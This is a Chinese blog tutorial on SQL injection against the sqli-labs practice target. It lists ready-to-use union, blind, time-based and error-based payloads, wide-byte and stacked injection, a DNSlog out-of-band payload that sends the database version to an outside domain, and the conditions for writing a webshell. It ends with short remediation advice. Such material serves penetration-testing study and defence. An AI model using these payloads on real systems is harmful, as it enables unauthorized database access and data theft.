草庐IT

web渗透之sql注入

摆烂阳 2023-12-29 原文

博主姓名:摆烂阳
博主主页面链接:传送门
新人入圈,希望博主的内容可以给大家带来帮助,有任何问题可以私信本人
摆烂阳从不摆烂滴

目录

一、前言

所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。
黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。


二、实验准备

本次实验使用sqli-labs-master靶场。

靶场下载链接https://codeload.github.com/Audi-1/sqli-labs/zip/master

三、sql注入检测方法

1、数字型检测

本次实验使用靶场第二关

直接输入and 1=1

 http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=1

此时发现页面是正常显示的,我们跟着继续判断and 1=2

 http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1 and 1=2

此时发现页面发生了变化,那么就可以判断这是一个数字型注入。

2、字符型检测

本次实验使用靶场第一关

在网站url栏上输入一个单引号

 http://127.0.0.1/sqli-labs-master/Less-1/?id=1’


此时发现网站报错,大致意思为你有一个数据库语法错误,当在后面输入一个%23(注释符)之后会发现页面正常回显

当我们在单引号后面输入and 1=1 %23时,发现页面正常回显

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=1 %23

当我们将and 1=1换成and 1=2时发现页面报错

 http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-1/?id=1' and 1=2 %23

此时便可以判断这是一个字符型注入

3、搜索型检测和xx型检测

这两种检测方法本质上是字符型检测的分支,只是需要根据不同的报错信息进行构造闭合

四、常见的注入手法

1、union注入

首先要知道的是union注入一般是配合order by语句用于两个或多个sql语句集合

ps: order by是指在sql语句后面进行排序的,通常我们用order by来判断查询的字段有几位

(1).union联合报错注入

select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

(2).union联合查询

?id=111’ union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema=‘数据库名’) --+

2、盲注

盲注是指在不知道数据库返回值的情况下对数据中的内容进行猜测,一般分为布尔盲注、时间盲注、报错盲注

(1).布尔盲注

a.判断数据库长度

and (length(database()))=一个数 %23

b.判断当前数据库名

and (ascii(substr(database(),1,1)))=一个数 %23

c.判断当前数据库下表的数量

and (select count(*) from information_schema.tables where table_schema='数据库名')=一个数  %23

d.判断每个表的长度

and(length((select table_name from information_schema.tables where table_schema='库名' limit0,1)))=一个数 %23

ps:
limit 后面数字的意义:
第一位表示判断第几张表(第一张表记作0)
第二位表示一次截取几条数据,默认为1

e.取表名

and(ascii(subste((select table_name from information_schema.tables where table_schema='库名' limit0,1),1,1))=一个数)

f.查询当前数据库下,该表内有多少个字段

and(select count(*)from information_schema columns where table_schema='库名' and table_name='表名')=一个数 %23

g.判断字段的长度

and  (length((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)))=一个数%23

h.判断第一个字段的第一位的名称

and  (ascii(substr((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1),1,1)))=105 %23

i.判断第一条数据的长度

and(length((select 字段名 from 表名 limit 1,1)))=一个数 %23 

j.获取第一条数据

and (ascii(substr((select 字段名 from 表名 limit 0,1),1,1)))=一个数 %23

(2).时间盲注

a.判断是否存在时间盲注

and sleep(5) %23

b.查询当前数据库的长度,如果正确那么就延迟

and if((length(database()))>此处填判断的时间,sleep(此处填延迟的时间),1) --+

c.判断当前数据库名第一位是否为a

and if((substr(database(),1,1)='a'),sleep(5),1)  %23

d.判断当前数据库名第一位ascii码

and if((ascii(substr(database(),1,1))=此处填判断的数字),sleep(延迟的时间),1)  %23

e.查询表数量

and if((select count(*) from information_schema.tables where table_schema='库名称)=此处填判断的数字,sleep(此处填延迟的时间),1)%23

f.查询表名长度

and if((select length((select table_name from information_schema.tables where table_schema='库名' limit 3,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23

g.截取表名第一位

and if((select ascii(substr((select table_name from information_schema.tables where table_schema='数据库名 limit 3,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间)),1)%23

h.查询列字段数量

and if(((select count(*) from information_schema.columns where table_schema='数据库名' and table_name='users')=此处填判断的数字),sleep(此处填延迟的时间),1)%23

i.查询列名长度

and if((select length((select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1))=此处填判断的数字),sleep(此处填延迟的时间),1)%23

j.截取列名第一位

and if((select ascii(substr((select column_name from information_schema.columns where table_schema=‘数据库名’ and table_name=‘表名’ limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23

k.查询第一条数据的长度

and if((select length((select id from 表名  limit 0,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23

l.获取数据信息内容

and if((select ascii(substr((select id from 表名  limit 0,1),1,1)))=此处填判断的数字,sleep(此处填延迟的时间),1)%23

2.报错注入

(1).floor报错

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23

(2).extractvalue报错

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

(3).updatexml报错

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

a.查表语句

and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'~'),3) %23

b.查字段语句

and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users'),'~'),3) %23

c.查数据语句

and updatexml(1,concat('~',(select username from users limit 0,1),'~'),3) %23

(4).geometrycollection报错

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

(5).multipoint报错

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

(6).polygon报错

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

(7).multipolygon报错

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

(8).linestring报错

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

(9).multilinestring报错

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

(10).exp报错

select * from test where id=1 and exp(~(select * from(select user())a));

3.堆叠注入

(1).原理

mysql_multi_query() 支持多条sql语句同时执行,就是个;分隔,成堆的执行sql语句

例如:

select * from users;show databases;

就同时执行以上两条命令,所以我们可以增删改查,只要权限够
虽然这个注入姿势很牛,但实际遇到很少,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_
query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

4.二次注入

二次注入可以概括为以下两步:

第一步:插入恶意数据

进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。

第二步:引用恶意数据

开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

3.宽字节注入

(1).原理

当传递一个参数id=1‘得时候,当我们输入这个单引号,会被认为是非法字符,会被过滤函数添加“\”给过滤掉,所以我们想要程序接受我们传递得参数中包含单引号,那么就需要把这个转义字符“\”干掉,那如何才能干掉呢?当http协议传输得时候,是要经过url编码的,如果这个编码完成后,传递到服务器时,我们可以在单引号前加上一个%81这样得编码,最后这样解码得时候,这个%81就会和“/”对应得编码相结合按照gbk编码要求去解码,最后只剩下个单引号。

(2).宽字节注入条件

(1)数据库查询设置为GBK编码
(2)使用了addslashes(),mysql_real_escape_string(),mysql_escape_string()之类的函数

附:GBK编码表 https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.php

4.dnslong盲注

利用条件

利用条件:

mysql.ini中secure_file_priv必须为空
secure_file_priv 为null 不允许导入导出
secure_file_priv 为/tmp 导入导出只能在/tmp目录下
secure_file_priv 为空时 则不做限制允许导入导出

语句

' and  load_file(concat('\\\\',(select version()),'.0j7pyz.dnslog.cn\\abc')) %23

赠:域名http://www.dnslog.cn/

5.请求头注入

需利用:burp

(1)UA头注入
(2)referer注入
(3)cookie注入

6.sql注入写入webshell

条件

(1)当前sql注入用户必须为DBA权限(–is-dba为true)
(2)需要知道网站的绝对路径
(3)My.ini文件中的这项配置secure_file_priv=””为空

7.sql注入修复

Intval()
Addslashes()

五、总结

SQL注入最大的危害在于数据泄露,但SQL注入并不能直接获得Web系统的权限。在对抗SQL注入攻击方面,有效的措施是过滤和转义,针对中小型站点尽可能限制数据类型,限制提交数据的字符类型,对特殊字符及敏感函数进行过滤。针对大型站点推荐利用预编译方法或参数化查询。

`

有关web渗透之sql注入的更多相关文章

  1. Hive SQL 五大经典面试题 - 2

    目录第1题连续问题分析:解法:第2题分组问题分析:解法:第3题间隔连续问题分析:解法:第4题打折日期交叉问题分析:解法:第5题同时在线问题分析:解法:第1题连续问题如下数据为蚂蚁森林中用户领取的减少碳排放量iddtlowcarbon10012021-12-1212310022021-12-124510012021-12-134310012021-12-134510012021-12-132310022021-12-144510012021-12-1423010022021-12-154510012021-12-1523.......找出连续3天及以上减少碳排放量在100以上的用户分析:遇到这类

  2. sql - 查询忽略时间戳日期的时间范围 - 2

    我正在尝试查询我的Rails数据库(Postgres)中的购买表,我想查询时间范围。例如,我想知道在所有日期的下午2点到3点之间进行了多少次购买。此表中有一个created_at列,但我不知道如何在不搜索特定日期的情况下完成此操作。我试过:Purchases.where("created_atBETWEEN?and?",Time.now-1.hour,Time.now)但这最终只会搜索今天与那些时间的日期。 最佳答案 您需要使用PostgreSQL'sdate_part/extractfunction从created_at中提取小时

  3. ruby - 这个 ruby​​ 注入(inject)魔术是如何工作的? - 2

    我今天看到了一个ruby​​代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem

  4. ruby - 如何配置 Ruby Mechanize 代理以通过 Charles Web 代理工作? - 2

    我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe

  5. sql - 在 Rails Console for PostgreSQL 的表中显示数据 - 2

    我找到了这样的东西:Rails:Howtolistdatabasetables/objectsusingtheRailsconsole?这一行没问题:ActiveRecord::Base.connection.tables并返回所有表但是ActiveRecord::Base.connection.table_structure("users")产生错误:ActiveRecord::Base.connection.table_structure("projects")我认为table_structure不是Postgres方法。如何列出Postgres数据库的Rails控制台中表中的所有

  6. ruby - 防止SQL注入(inject)/好的Ruby方法 - 2

    Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject

  7. ruby-on-rails - 如何在 Rails 中的不同数据库上执行直接 SQL 代码 - 2

    我正在编写一个Rails应用程序,它将监视某些特定数据库的数据质量。为了做到这一点,我需要能够对这些数据库执行直接SQL查询——这当然与用于驱动Rails应用程序模型的数据库不同。简而言之,这意味着我无法使用通过ActiveRecord基础连接的技巧。我需要连接的数据库在设计时是未知的(即:我不能将它们的详细信息放在database.yaml中)。相反,我有一个模型“database_details”,用户将使用它来输入应用程序将在运行时执行查询的数据库的详细信息。因此与这些数据库的连接实际上是动态的,细节仅在运行时解析。 最佳答案

  8. Ruby:映射和注入(inject)之间的区别 - 2

    在此处阅读有关SO的各种解释,它们是这样描述的:map:Themapmethodtakesanenumerableobjectandablock,andrunstheblockforeachelement注入(inject):Injecttakesavalueandablock,anditrunsthatblockonceforeachelementofthelist.希望你明白为什么我觉得它们表面上看起来很相似。我什么时候会选择一个而不是另一个,它们之间有什么明显的区别吗? 最佳答案 如果您认为inject也别名为reduce,这

  9. 适用于Web开发的Python还是Ruby? - 2

    Asitcurrentlystands,thisquestionisnotagoodfitforourQ&Aformat.Weexpectanswerstobesupportedbyfacts,references,orexpertise,butthisquestionwilllikelysolicitdebate,arguments,polling,orextendeddiscussion.Ifyoufeelthatthisquestioncanbeimprovedandpossiblyreopened,visitthehelpcenter提供指导。11年前关闭。我是一位精通HTML

  10. sql - Rails:使用 Postgres 创建对象时重复 ActiveRecord::RecordNotUnique? - 2

    我正在使用Rails4应用程序,它需要创建大量对象以响应来自另一个系统的事件。当我调用create!时,主键列上出现非常频繁的ActiveRecord::RecordNotUnique错误(由PG::UniqueViolation引起)我的模型之一。我在SO上找到了其他答案,建议挽救异常并调用retry:beginTableName.create!(data:'here')rescueActiveRecord::RecordNotUnique=>eife.message.include?'_pkey'#Onlyretryprimarykeyviolationslog.warn"Retr

随机推荐